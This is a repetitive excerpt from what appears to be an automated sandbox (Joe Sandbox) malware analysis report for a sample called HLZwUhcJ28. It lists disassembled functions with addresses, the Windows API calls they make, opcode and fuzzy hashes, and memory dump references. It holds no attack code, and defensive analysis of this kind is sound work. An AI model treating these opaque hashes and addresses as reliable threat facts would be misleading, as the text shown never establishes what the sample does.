Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 9178f81fb76f1e31521b60b80658233a53cfb8d4cb70a9f25aa2f81663bd83bf
Instruction ID: 36cce549ab61a3bae89d90fd10a80d8e2107797d33c78eb0f4ea292635328eae
Opcode Fuzzy Hash: 9178f81fb76f1e31521b60b80658233a53cfb8d4cb70a9f25aa2f81663bd83bf
Instruction Fuzzy Hash: 4D51C532A14A5185E750EF25D8447ACBB70FF44798F884136CE4E8BB99DF38E145C710

Function 00007FF70ED028A4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF70ED029C6

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 883fb41bd9703dcc10221343c29cb9d071b7ea0fa4d80864beb1efdaf450b773
Instruction ID: ce64453d8e794e1e21a83514dc501f5822a815242db8597e0d5db541fe6324ec
Opcode Fuzzy Hash: 883fb41bd9703dcc10221343c29cb9d071b7ea0fa4d80864beb1efdaf450b773
Instruction Fuzzy Hash: 48410462B1E60291FA11AB16AC087B9E392FF08BE0F9D4935DD5D8B395DF3CE0408360

Function 00007FF70ED08BE8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF70ED08C0F
_set_statfp.LIBCMT ref: 00007FF70ED08C2A
_set_statfp.LIBCMT ref: 00007FF70ED08C46
_set_statfp.LIBCMT ref: 00007FF70ED08C82

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction ID: 6450d29753ca8652b77cdeaa462b90225a27e6f1fa6512d084ba389fd68f9fed
Opcode Fuzzy Hash: f3bd3298a46f29c998dca386ec4adc9bd6d7efdfabb851da102e47160911a3a1
Instruction Fuzzy Hash: 4811B63AE1DA0349FADC3118FC613758061EF953B0E8C4634E66E835D68F6E64405329

Function 00007FF70ECF97EC Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70ECF9816
abort.LIBCMT ref: 00007FF70ECF9A7A

Strings

csm, xrefs: 00007FF70ECF99AA
csm, xrefs: 00007FF70ECF983B

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: __except_validate_context_recordabort
String ID: csm$csm
API String ID: 746414643-3733052814
Opcode ID: 205f847729b879f197fb1e88d311058e954f7365dfacaef904bdf3b3c6f6727b
Instruction ID: 4ea6503ff57c7dd064ebe011ffb992a45912b138c30c562579d93eed03532e76
Opcode Fuzzy Hash: 205f847729b879f197fb1e88d311058e954f7365dfacaef904bdf3b3c6f6727b
Instruction Fuzzy Hash: 1371D232A086C19ADF64AB65D8A077EBBA0EF84B84F448136DE4D07A85CF3DD5A0C711

Function 00007FF70ECFB54C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ECFB573
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ECFB745

Strings

, xrefs: 00007FF70ECFB6CE
*, xrefs: 00007FF70ECFB679

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: d78f14ac5553cfb584130670f8383fb7251d5d940d13a47ddc6d8be45c653cc9
Instruction ID: d721c138a95c0b8a764ebb270383d3fc61a111e70a53321080ba3153c8e37c2b
Opcode Fuzzy Hash: d78f14ac5553cfb584130670f8383fb7251d5d940d13a47ddc6d8be45c653cc9
Instruction Fuzzy Hash: 8E51987291DA429AF76CAE35C86437EBBA0EF05B09F941135C64A412D9DF3EEC81C721

Function 00007FF70ECF9C30 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECF87A0: abort.LIBCMT ref: 00007FF70ECF87B3

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF70ECF9CDA
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF70ECF9D06

Strings

csm, xrefs: 00007FF70ECF9E06

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_recordabort
String ID: csm
API String ID: 2466640111-1018135373
Opcode ID: 3b2257290adfa2781d5b09c2d1616d864f17ca53d9f431228db0fbfec44e584e
Instruction ID: e6edd3536bd238c966d362c21ee889adbe6b972054cdf93749a3dd3cd156f6b1
Opcode Fuzzy Hash: 3b2257290adfa2781d5b09c2d1616d864f17ca53d9f431228db0fbfec44e584e
Instruction Fuzzy Hash: 3F519C37A1874297EA24AB16E85136FB7A4FB88B90F900535EB8D47B55CF3DE060CB10

Function 00007FF70ED07874 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF70ED0795A
WriteFile.KERNEL32 ref: 00007FF70ED0798D
GetLastError.KERNEL32 ref: 00007FF70ED079AF

Strings

U, xrefs: 00007FF70ED07938

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: d20302cc878b90de32ea97a9ef5a303d772ca5a33c3583031ee23a301797e927
Instruction ID: ceca512d60750a98db0198f2d0342dfdcf635d9df798a318473f74de6a6f3c53
Opcode Fuzzy Hash: d20302cc878b90de32ea97a9ef5a303d772ca5a33c3583031ee23a301797e927
Instruction Fuzzy Hash: 0141A522B19A4592E720AF25F8443BAB761FB88794F854032EE8D8B784DF3CE541C750

Function 00007FF70ECECCEC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF70ECECD15
GetObjectW.GDI32 ref: 00007FF70ECECD43
ReleaseDC.USER32 ref: 00007FF70ECECDF7

Strings

, xrefs: 00007FF70ECECD8F

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ObjectRelease
String ID:
API String ID: 1429681911-3916222277
Opcode ID: 617a757d8815b9cd64aff0be7c79d33489404464c5a4c9318e7e7076e56f3154
Instruction ID: 1939a49cbd80c54f19a789b0597042269915a315080764277be0f19fbc55c6ea
Opcode Fuzzy Hash: 617a757d8815b9cd64aff0be7c79d33489404464c5a4c9318e7e7076e56f3154
Instruction Fuzzy Hash: B2314A36B1874686DA04AF26BD1876AB7A1FB89FD1F904135ED8A43B24CF3CD4498B00

Function 00007FF70ECEC21C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF70ECEC228
GetDeviceCaps.GDI32 ref: 00007FF70ECEC239
ReleaseDC.USER32 ref: 00007FF70ECEC246

Strings

, xrefs: 00007FF70ECEC24C

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: a4f30ad7dfa2e76a7ae327bbc05fad838edf44ef71ac395416f8be742774f962
Instruction ID: 7481513c9831b6bbf62ba5c9e8fd67b6496d184a90563ecc7025492ef49cb00d
Opcode Fuzzy Hash: a4f30ad7dfa2e76a7ae327bbc05fad838edf44ef71ac395416f8be742774f962
Instruction Fuzzy Hash: 36E0C231F0864582EB4867BAFA8913AA261EF4CBD0F954035DA0E83795DF3DC8C54300

Function 00007FF70ECD7644 Relevance: 6.3, APIs: 4, Instructions: 281COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD7915
FoldStringW.KERNEL32 ref: 00007FF70ECD795F
FoldStringW.KERNEL32 ref: 00007FF70ECD79B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD7A22

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FoldString_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2025052027-0
Opcode ID: 6885311f977ff8b5915e7910640fa07167ed4e933460e8e7d633901c21ad58a3
Instruction ID: 4a75cbd6455bd7f07b510d3a492a2e993fcd7c6a337c02f0a629d77fdc55a904
Opcode Fuzzy Hash: 6885311f977ff8b5915e7910640fa07167ed4e933460e8e7d633901c21ad58a3
Instruction Fuzzy Hash: DFB1C222F2C746A1EA10AB19D84866EA3A1FF44BA4FD58537DA1D07794DF7FE490C320

Function 00007FF70ECDFCDC Relevance: 6.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF70ECDFD90
SetLastError.KERNEL32 ref: 00007FF70ECDFE2B

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 318763212630b9f8aa6bd02c91178889ead5250ce24bd63f2b84e46bdd677746
Instruction ID: 2b42adc45f080ab18db16af74a6de3ad256bd84a9799f0e0dacdbc4c472272a5
Opcode Fuzzy Hash: 318763212630b9f8aa6bd02c91178889ead5250ce24bd63f2b84e46bdd677746
Instruction Fuzzy Hash: 5751A662B18B82A5EB00FB74D8542EDA321FF85B88F804136DA5D57B96DF3AD544C350

Function 00007FF70ECED908 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF70ECED934
GetLastError.KERNEL32 ref: 00007FF70ECED980
CreateDirectoryW.KERNEL32 ref: 00007FF70ECEDA88
LocalFree.KERNEL32 ref: 00007FF70ECEDA98

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CreateCurrentDirectoryErrorFreeLastLocalProcess
String ID:
API String ID: 1077098981-0
Opcode ID: 5e20d32f705fb8afae232702789ae5b6ccc28567c60846b1c728c17defa930fd
Instruction ID: dc00c152a0baabc754f4602a83c9b7e880530b58138f49b6adef4445bff95aeb
Opcode Fuzzy Hash: 5e20d32f705fb8afae232702789ae5b6ccc28567c60846b1c728c17defa930fd
Instruction Fuzzy Hash: 5E51A032A18B4296E710AF21E8447AEB7B4FF88B88F901035EA4E57B58DF3DD544CB10

Function 00007FF70ED0106C Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED010BF
WideCharToMultiByte.KERNEL32 ref: 00007FF70ED01191
GetLastError.KERNEL32 ref: 00007FF70ED011B4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED011E6

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: 8d9a5625d90a928a2b0668c470320c834cfc61c5ffddc2be44e89749fafbb7da
Instruction ID: 682238ad215c0676da8f31f2e4d2b9db3ef6da9e6077f2c53774b671cc729a8d
Opcode Fuzzy Hash: 8d9a5625d90a928a2b0668c470320c834cfc61c5ffddc2be44e89749fafbb7da
Instruction Fuzzy Hash: 7241C621E0E74246FB69BB11D8503B9E6A0EF84B90F9C4130DA9D87AD5CF3CDD418721

Function 00007FF70ED04008 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF70ECFF93B), ref: 00007FF70ED04021
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF70ECFF93B), ref: 00007FF70ED04083
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF70ECFF93B), ref: 00007FF70ED040BD
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF70ECFF93B), ref: 00007FF70ED040E7

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 6509991160e12f712ad6d4b27e048ebbd13574e2c5e48816f306a01bcccb75f3
Instruction ID: 8e6baa2666b595bee4556cfa22545e87e0ebe742ce5f622e167d87a37cd9a11b
Opcode Fuzzy Hash: 6509991160e12f712ad6d4b27e048ebbd13574e2c5e48816f306a01bcccb75f3
Instruction Fuzzy Hash: FD216121F0879685E620AF12A84062AF6A5FF44BD0B8C4135DF9EB3BD4DF3CE9528710

Function 00007FF70ED00950 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF70ECFB380,?,?,00000050,00007FF70ECFD3C1), ref: 00007FF70ED0095A
SetLastError.KERNEL32(?,?,?,00007FF70ECFB380,?,?,00000050,00007FF70ECFD3C1), ref: 00007FF70ED009C2
SetLastError.KERNEL32(?,?,?,00007FF70ECFB380,?,?,00000050,00007FF70ECFD3C1), ref: 00007FF70ED009D8
abort.LIBCMT ref: 00007FF70ED009DE

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: 1eac2c9eaf67b8ca3847dbe3d1f8f0efe6c7906f8c8004aecd08eca7f3519a74
Instruction ID: 67d99b1d5663e1b0d1c1f8cee6a3b7e16ddfeb7ab0753f86f6fa21bc28d77d09
Opcode Fuzzy Hash: 1eac2c9eaf67b8ca3847dbe3d1f8f0efe6c7906f8c8004aecd08eca7f3519a74
Instruction Fuzzy Hash: 3E019E20F0D20652FAA87735AE5937CD182DF44780F9C0939D96E837D6EF6CA8404230

Function 00007FF70ECEC1CC Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF70ECEC1D4
GetDeviceCaps.GDI32 ref: 00007FF70ECEC1EA
GetDeviceCaps.GDI32 ref: 00007FF70ECEC1FE
ReleaseDC.USER32 ref: 00007FF70ECEC20F

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: ff8273f54fae2fdeddf750fc197cbb143a8813763f49c02ea24deae08297ea60
Instruction ID: 638960e352590ae05aaa4f81830e948ddddd9d93acae068bfab199be9f8d378b
Opcode Fuzzy Hash: ff8273f54fae2fdeddf750fc197cbb143a8813763f49c02ea24deae08297ea60
Instruction Fuzzy Hash: A8E04870F0974682FF087BB5AC59176E191EF48B45FC44039C80E473A0EF3EA4854720

Function 00007FF70ED01704 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF70ED01747

Strings

e+000, xrefs: 00007FF70ED017EF
gfff, xrefs: 00007FF70ED01872

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 180a713344d636e9f2ed807591016252dc9e7b78ba41607e6542638bc7fc855a
Instruction ID: 31876396420b1d7a35f90179e2742b796cdf578922a3dc54305214479c91cdc1
Opcode Fuzzy Hash: 180a713344d636e9f2ed807591016252dc9e7b78ba41607e6542638bc7fc855a
Instruction Fuzzy Hash: 1B512562B197C296E7259B359C40369AB91EF81B90F8C8271C79C8BBD5CF3DD444C710

Function 00007FF70ECD9808 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECD99A8: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70ECD99E6

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD999C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD99A2

Strings

SIZE, xrefs: 00007FF70ECD9843

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$swprintf
String ID: SIZE
API String ID: 449872665-3243624926
Opcode ID: f97aaaf949171a2904a8fe23ed725e9e394508c7fb8bb295341962652909a67e
Instruction ID: 18f9b08219de69d63912504081f23f9c09638a3517c239abf97ae508ead93838
